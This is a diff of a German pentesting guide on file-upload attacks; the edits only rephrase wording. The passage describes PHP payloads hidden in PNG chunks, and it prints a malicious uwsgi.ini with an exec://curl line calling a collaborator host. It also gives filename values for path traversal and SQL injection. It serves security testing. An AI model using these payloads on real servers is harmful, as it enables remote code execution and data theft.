- Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
@@ -93,7 +93,7 @@ AAA<--SNIP 232 A-->AAA.php.png
Wenn Sie versuchen, Dateien auf einen **PHP-Server** hochzuladen, [sehen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Wenn Sie versuchen, Dateien auf einen **ASP-Server** hochzuladen, [sehen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
-Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei** verwendet werden (indem sie mit PHP ausgeführt oder in ein Skript eingebunden werden...)
+Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (indem sie mit PHP ausgeführt oder in ein Skript eingefügt werden...)
Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** verwendet werden, sodass jemand zu einem bestimmten Zeitpunkt **diese Erweiterung zur Ausführung** zulassen könnte.
@@ -107,7 +107,7 @@ Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [R
Für eine detaillierte Untersuchung dieser Schwachstelle überprüfen Sie die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
-Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@' Operator, der als `@(filename)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
+Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(filename)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt:
```ini
@@ -127,9 +127,9 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
-Die Ausführung der Payload erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
+Die Ausführung des Payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
-Es ist entscheidend, die nachlässige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann die besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
+Es ist entscheidend, die nachsichtige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
## **wget File Upload/SSRF Trick**
@@ -167,18 +167,18 @@ Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese
- Setzen Sie **filename** auf `../../../tmp/lol.png` und versuchen Sie, eine **Pfad Traversierung** zu erreichen.
- Setzen Sie **filename** auf `sleep(10)-- -.jpg` und Sie könnten in der Lage sein, eine **SQL-Injection** zu erreichen.
-- Setzen Sie **filename** auf `